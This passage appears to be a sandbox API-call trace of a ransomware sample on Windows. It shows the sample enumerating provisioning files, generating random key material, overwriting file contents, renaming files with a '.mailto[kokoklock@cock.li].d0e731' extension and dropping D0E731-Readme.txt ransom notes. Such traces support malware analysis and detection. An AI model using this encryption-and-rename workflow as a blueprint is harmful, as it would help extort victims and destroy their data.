(_String1="..", _String2="..") returned 0 [0078.399] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.399] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.399] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34326e0 [0078.399] wcscpy (in: _Dest=0x34326e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0078.399] wcscat (in: _Dest=0x34326e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" [0078.399] wcscat (in: _Dest=0x34326e0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" [0083.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34326e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0083.035] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.035] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.035] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.035] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7138 [0083.035] wcscpy (in: _Dest=0x33f7138, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0083.035] wcscat (in: _Dest=0x33f7138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" [0083.035] wcscat (in: _Dest=0x33f7138, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" [0083.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0083.036] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.036] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0083.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f32a8) returned 1 [0083.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429780) returned 1 [0083.036] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34298f0) returned 1 [0083.036] RtlExitUserThread (Status=0x0) Thread: id = 875 os_tid = 0x14b0 [0078.400] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml")) returned 0x20 [0078.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.400] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa24 [0078.401] GetFileSizeEx (in: hFile=0xa24, lpFileSize=0x202bf99c | out: lpFileSize=0x202bf99c*=1659) returned 1 [0078.401] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x677, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.401] ReadFile (in: hFile=0xa24, lpBuffer=0x202bf970, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x202bf96c, lpOverlapped=0x0 | out: lpBuffer=0x202bf970*, lpNumberOfBytesRead=0x202bf96c*=0x4, lpOverlapped=0x0) returned 1 [0078.402] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34930e0 [0078.402] NtQuerySystemTime (in: CurrentTime=0x202bf948 | out: CurrentTime=0x202bf948*=132121176363002697) returned 0x0 [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x1a8df876 [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xd021a686 [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xc5e11d08 [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x314db5cd [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x63b8cfeb [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x8802375d [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xe3e49394 [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xf8906b9d [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x402e3153 [0078.402] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x49231fd3 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xe5ff3a1 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x8a4dda44 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xccb821c3 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x9233f8c [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xeed0eb5f [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x14e18122 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x2083431 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xd9ee0141 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xccd39295 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x6990e5fd [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x4307c7da [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xd59058a1 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x63b2acec [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x4e6d2a7a [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xf0f30cbc [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xfbc15b9e [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0xca9eb5d8 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x27e70141 [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x7738e57d [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x73bbf64b [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x8ea23cfe [0078.403] RtlRandom (in: Seed=0x202bf954 | out: Seed=0x202bf954) returned 0x91932872 [0078.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.414] ReadFile (in: hFile=0xa24, lpBuffer=0x348d230, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x202bf948, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x202bf948*=0x67b, lpOverlapped=0x0) returned 1 [0078.414] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x202bf910 | out: lpNewFilePointer=0x0) returned 1 [0078.414] WriteFile (in: hFile=0xa24, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x67b, lpNumberOfBytesWritten=0x202bf944, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x202bf944*=0x67b, lpOverlapped=0x0) returned 1 [0078.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493040 [0078.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.414] WriteFile (in: hFile=0xa24, lpBuffer=0x3493040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x202bf940, lpOverlapped=0x0 | out: lpBuffer=0x3493040*, lpNumberOfBytesWritten=0x202bf940*=0x20, lpOverlapped=0x0) returned 1 [0078.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493040) returned 1 [0078.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.415] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.415] WriteFile (in: hFile=0xa24, lpBuffer=0x3493220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x202bf96c, lpOverlapped=0x0 | out: lpBuffer=0x3493220*, lpNumberOfBytesWritten=0x202bf96c*=0x8, lpOverlapped=0x0) returned 1 [0078.415] WriteFile (in: hFile=0xa24, lpBuffer=0x202bf984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x202bf96c, lpOverlapped=0x0 | out: lpBuffer=0x202bf984*, lpNumberOfBytesWritten=0x202bf96c*=0x4, lpOverlapped=0x0) returned 1 [0078.415] WriteFile (in: hFile=0xa24, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x202bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x202bf96c*=0x4, lpOverlapped=0x0) returned 1 [0078.415] WriteFile (in: hFile=0xa24, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x202bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x202bf96c*=0x6c, lpOverlapped=0x0) returned 1 [0078.415] WriteFile (in: hFile=0xa24, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x202bf96c, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x202bf96c*=0x20, lpOverlapped=0x0) returned 1 [0078.415] WriteFile (in: hFile=0xa24, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x202bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x202bf96c*=0x4, lpOverlapped=0x0) returned 1 [0078.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493130) returned 1 [0078.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.416] CloseHandle (hObject=0xa24) returned 1 [0078.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0078.416] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" [0078.416] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.416] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.417] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.417] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.417] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.417] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0078.417] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\D0E731-Readme.txt" [0078.417] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\d0e731-readme.txt")) returned 0xffffffff [0078.417] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa24 [0078.419] WriteFile (in: hFile=0xa24, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x202bf968, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x202bf968*=0x481, lpOverlapped=0x0) returned 1 [0078.420] CloseHandle (hObject=0xa24) returned 1 [0078.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0078.420] RtlExitUserThread (Status=0x1) Thread: id = 876 os_tid = 0x14b4 [0078.421] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml")) returned 0x20 [0078.422] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.422] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa24 [0078.422] GetFileSizeEx (in: hFile=0xa24, lpFileSize=0x2033fb94 | out: lpFileSize=0x2033fb94*=271) returned 1 [0078.422] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.422] ReadFile (in: hFile=0xa24, lpBuffer=0x2033fb68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2033fb64, lpOverlapped=0x0 | out: lpBuffer=0x2033fb68*, lpNumberOfBytesRead=0x2033fb64*=0x4, lpOverlapped=0x0) returned 1 [0078.424] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.424] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493108 [0078.424] NtQuerySystemTime (in: CurrentTime=0x2033fb40 | out: CurrentTime=0x2033fb40*=132121176363159050) returned 0x0 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xe09abbc8 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xe8f84045 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xfbdc196a [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xc98f8743 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x1bce73e0 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xc44813e4 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xde724053 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xd6b938db [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x2d84b6cd [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x4e45ab83 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x3926d68d [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xb4dc165 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x732e81c2 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xfe543398 [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x53e9c67b [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x59ecbf5c [0078.424] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xcbe41a0b [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x9264326f [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x8f5c9c57 [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xe338fb8d [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xac72769d [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x8c047619 [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x42ea3b37 [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x9af0e3d0 [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xd6d33bdb [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xfaf60284 [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x3f99eeb [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xbc0057fa [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x1286d5c6 [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xeef02674 [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0xffd2be6f [0078.425] RtlRandom (in: Seed=0x2033fb4c | out: Seed=0x2033fb4c) returned 0x2b8bc5c4 [0078.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.436] ReadFile (in: hFile=0xa24, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x2033fb40, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2033fb40*=0x10f, lpOverlapped=0x0) returned 1 [0078.436] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2033fb08 | out: lpNewFilePointer=0x0) returned 1 [0078.436] WriteFile (in: hFile=0xa24, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2033fb3c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2033fb3c*=0x10f, lpOverlapped=0x0) returned 1 [0078.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493040 [0078.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.436] WriteFile (in: hFile=0xa24, lpBuffer=0x3493040*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2033fb38, lpOverlapped=0x0 | out: lpBuffer=0x3493040*, lpNumberOfBytesWritten=0x2033fb38*=0x20, lpOverlapped=0x0) returned 1 [0078.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493040) returned 1 [0078.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.437] WriteFile (in: hFile=0xa24, lpBuffer=0x3493220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2033fb64, lpOverlapped=0x0 | out: lpBuffer=0x3493220*, 